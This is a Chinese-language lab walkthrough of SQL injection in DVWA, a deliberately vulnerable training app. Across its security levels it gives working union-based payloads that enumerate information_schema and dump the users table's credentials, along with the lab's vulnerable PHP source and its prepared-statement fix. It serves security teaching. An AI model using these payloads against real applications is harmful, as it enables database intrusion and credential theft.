目录
1、级别:Low
1.1 寻找注入点
这里很明显就是id
1.2 判断类型及闭合方式
判断注入点是数字型还是字符型
输入1asdf无报错,说明为字符型,我们再输入1、2、3等数字,发现能够正常显示
输入1',页面报错,说明该处为单引号闭合方式
字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合。
1.3 验证漏洞
输入1' and 1#,能够正常显示信息
输入1' and 0#,无显示
可以证明存在漏洞
查看源代码
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
可以看到sql语句为 SELECT first_name, last_name FROM users WHERE user_id = '$id'
1.4 判断列数及回显位
通过order by看当前表中存在多少列,ORDER BY 语句用于根据指定的列对结果集进行排序。可以这么理解,如访问id=1 order by 3,页面返回与id=1相同的结果,输入id=1 order by 4,页面返回与id=1不同的结果,则字段数为3。
输入1' order by 3,出现报错,说明列数小于3
输入1' order by 2,无报错,说明列数为2
输入1' union select 1,2#,查看回显位
我们可以通过回显位来得到自己想要的数据
1.5 获取数据
注:mysql5以上默认在数据库中存放一个information_schema 的数据库,这个数据库中,需要记住三个表名,分别是SCHEMATA、TABLES和COLUMNS。
1、SCHEMATA表存储用户创建的所有数据库的库名,只要记住该表中的字段
SCHEMA_NAME,这个表中记录了数据库库名。2、TABLES表存储用户创建的所有数据库 库名和表名,字段分别为:
TABLES_SCHEMA和TABLES_NAME。3、COLUMNS表中存储用户创建的所有数据库的库名、表名、字段名,字段名分别为:
TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME.
获取数据库名:1' union select 1,database()# (可以看到数据库名为dvwa)
获取表名:1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa')# (表名分别为guestbook、users)
获取列名:1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')#
获取字段值:1’ union Select user,password from users#
我们以admin账户为例,解密得到密码
2、级别:Medium
这里只有5个选项供我们选择,无法用输入框进行sql注入
我们使用bp进行抓包
如果发现127.0.0.1无法使用bp抓包,可以用win+R输入cmd,在输入ipconfig命令查看自己的IP地址,将127.0.0.1改为本地ip地址就可以使用bp成功抓包啦!
2.1 查看闭合方式
把id=1改为id=1' ,页面报错
输入id=1''试试,同样报错,单引号被转义了
我们输入id=1asdf,有报错说明注入点为数字型,无闭合
2.2 验证漏洞
输入id=1 and 1#
输入id=1 and 0#,证明漏洞存在
2.3 判断列数及回显位
同上,我们能够判断列数仍然为2
查看回显位
2.4 获取数据
库名:id=1 union select 1,database()#
表名:id=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
这里的单引号被转义了,所以我们无法使用table_schema='dvwa',我们用table_schema=database()进行代替
列名:id=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)#
0x7573657273是users的十六进制ascii码
字段值:id=1 union Select user,password from users#
3、级别:High
改成了链接?点进去看看
好像除了在新的窗口输入之外和low级别没有什么区别(应该就是为了防止bp抓包)
获取数据库名
表名
列名
字段值
4、级别:Impossible
直接查看源代码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray();
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
break;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。
PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。
PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。